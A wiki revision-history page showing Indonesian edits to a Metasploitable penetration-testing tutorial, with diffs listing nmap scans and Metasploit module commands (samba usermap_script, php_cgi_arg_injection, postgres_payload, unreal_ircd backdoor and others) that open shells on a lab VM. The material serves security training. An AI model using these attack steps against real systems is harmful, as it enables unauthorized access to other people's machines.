Metasploitable: pentest - Revision history

Onnowpurbo: /* attack ssh */

2018-12-07T21:46:46Z

attack ssh

2018-12-07T21:25:58Z

← Older revision		Revision as of 21:25, 7 December 2018
Line 14:		Line 14:
	==Download & Install==		==Download & Install==

	Pertama-tama Anda harus mengunduh metasploit dari tautan ~~di atas~~. Setelah pengunduhan selesai, buka VirtualBox dan klik open mesin virtual.		Pertama-tama Anda harus mengunduh metasploit dari tautan berikut,

			* https://www.vulnhub.com/entry/metasploitable-2,29/
			* https://information.rapid7.com/download-metasploitable-2017.html

			Setelah pengunduhan selesai, buka VirtualBox dan klik open mesin virtual.

	Setelah mengklik OK, metasploitable akan terbuka di mesin virtual dan menjalankannya cukup klik pada Power pada mesin virtual ini dan itu akan menjalankan metasploitable anda.		Setelah mengklik OK, metasploitable akan terbuka di mesin virtual dan menjalankannya cukup klik pada Power pada mesin virtual ini dan itu akan menjalankan metasploitable anda.

2018-12-07T21:11:04Z

Remote login dari kali linux

← Older revision		Revision as of 21:11, 7 December 2018
Line 88:		Line 88:
	Anda akan dapat username & password yang bisa di akses menggunakan ssh		Anda akan dapat username & password yang bisa di akses menggunakan ssh

	==Remote login dari kali linux==		===Remote login dari kali linux===

	misalnya IP metasploitable 192.168.122.134		misalnya IP metasploitable 192.168.122.134
Line 97:		Line 97:

	msfadmin		msfadmin


	==attack telnet==		==attack telnet==

2018-12-07T21:08:46Z

nmap

← Older revision		Revision as of 21:08, 7 December 2018
Line 39:		Line 39:
	Scan sederhana dapat menggunakan nmap		Scan sederhana dapat menggunakan nmap

	~~nmap -sV 192.168.122.134~~
	nmap -sS -v -O 192.168.122.134		nmap -sS -v -O 192.168.122.134

2018-12-07T21:00:14Z

← Older revision		Revision as of 21:00, 7 December 2018
Line 3:		Line 3:


	Metasploitable adalah versi rentan Linux Ubuntu yang ~~secara sukarela~~ dirancang untuk menguji tool keamanan dan mendemonstrasikan kerentanan umum berbasis mesin virtual yang membantu kita melakukan pelatihan keamanan, menguji alat keamanan, dan mempraktekkan teknik pengujian penetrasi umum. VM akan berjalan pada produk VMware terbaru dan teknologi visualisasi lainnya seperti VirtualBox. Anda dapat men-download metasploitable dari		Metasploitable adalah versi rentan Linux Ubuntu yang sengaja dirancang untuk menguji tool keamanan dan mendemonstrasikan kerentanan umum berbasis mesin virtual yang membantu kita melakukan pelatihan keamanan, menguji alat keamanan, dan mempraktekkan teknik pengujian penetrasi umum. VM akan berjalan pada produk VMware terbaru dan teknologi visualisasi lainnya seperti VirtualBox. Anda dapat men-download metasploitable dari

	* https://www.vulnhub.com/entry/metasploitable-2,29/		* https://www.vulnhub.com/entry/metasploitable-2,29/

2018-12-01T01:05:03Z

attack file sharing

← Older revision		Revision as of 01:05, 1 December 2018
Line 129:		Line 129:
	==attack file sharing==		==attack file sharing==

	~~Next we will try to exploit the samba service that is going on the~~ port ~~number~~ 139. ~~For that we will use the following exploit:~~		Serangan ke file sharing di port 139.
			Jalankan metasploit di kali linux, ketik

	use exploit/multi/samba/usermap_script		use exploit/multi/samba/usermap_script
Line 136:		Line 137:
	exploit		exploit

	~~The execution of this will take you the~~ shell ~~session of metasploit that means you will reach the shell of~~ metasploit.		Ini akan masuk ke shell metasploit lagi. Selanjutnya, ketik,

	~~Now~~, ~~we will use the following exploit:~~

	use exploit/multi/misc/java_rmi_server		use exploit/multi/misc/java_rmi_server
Line 145:		Line 144:
	exploit		exploit

	~~Again, after you hit enter button on your keyboard you will have a~~ meterpreter ~~session.~~		Ketik "ENTER" kita akan masuk ke sesi meterpreter

	==attack postgres==		==attack postgres==

2018-12-01T01:03:20Z

attack web

← Older revision		Revision as of 01:03, 1 December 2018
Line 117:		Line 117:
	==attack web==		==attack web==

	~~Now we will try to exploit the~~ port ~~number~~ 80 ~~on which http services run~~. ~~For this too there is a pre-installed exploit in~~ metasploit ~~and to exercise the said exploit type:~~		Contoh serangan metasploit ke web di port 80.
			Jalankan metasploit di kali linux, ketik

	use exploit/multi/http/php_cgi_arg_injection		use exploit/multi/http/php_cgi_arg_injection
Line 124:		Line 125:
	exploit		exploit

	~~After the execution you will enter a~~ meterpreter ~~session of~~ metasploitable ~~as shown.~~		Anda akan masuk ke sesi meterpreter dari metasploitable

	==attack file sharing==		==attack file sharing==

2018-12-01T00:59:40Z

attack ircd

← Older revision		Revision as of 00:59, 1 December 2018
Line 159:		Line 159:
	==attack ircd==		==attack ircd==

	~~The exploit that use is related to unreal~~ ircd ~~and to search its~~ exploit ~~type :~~		Masuk ke metasploit di kali linux, search Unreal ircd exploit

	search Unreal ircd		search Unreal ircd

	~~And the result will be exploits which will help you to attack the victim. As you can see there are three exploits and we will use the latest one.~~		Ketik,

	~~To the exploit type:~~

	use exploit/unix/irc/unreal_ircd_3281_backdoor		use exploit/unix/irc/unreal_ircd_3281_backdoor
Line 172:		Line 170:
	exploit		exploit

	~~And when you will hit enter you will obtain a~~ shell ~~session meaning you will enter the shell of the metasploitable.~~		Jika berhasil, tekan "ENTER", kita akan masuk ke shell metasploitable.

	~~These are all the attacks that you can use against~~ metasploitable ~~and in the process you can learn how to attack a real life victim using different ports~~.

	==Referensi==		==Referensi==

2018-12-01T00:57:57Z

attack postgres

← Older revision		Revision as of 00:57, 1 December 2018
Line 148:		Line 148:
	==attack postgres==		==attack postgres==

			Masuk ke metasploit di kali linux, ketik
	~~The next exploit is:~~

	use exploit/linux/postgres/postgres_payload		use exploit/linux/postgres/postgres_payload
	set rhost 192.168.1.~~106~~		set rhost 192.168.122.134
	set rport 5432		set rport 5432
	exploit		exploit

	~~Once the command is executed you will enter the~~ meterpreter ~~session as shown above.~~		Jika berhasil, anda akan masuk ke sesi meterpreter


	==attack ircd==		==attack ircd==

2018-12-01T00:56:42Z

attack telnet

← Older revision		Revision as of 00:56, 1 December 2018
Line 102:		Line 102:
	==attack telnet==		==attack telnet==

	Jalankan metasploit		Jalankan metasploit di kali linux, ketik

	~~metasploit~~

	~~Lakukan~~

	use auxiliary/scanner/telnet/telnet_login		use auxiliary/scanner/telnet/telnet_login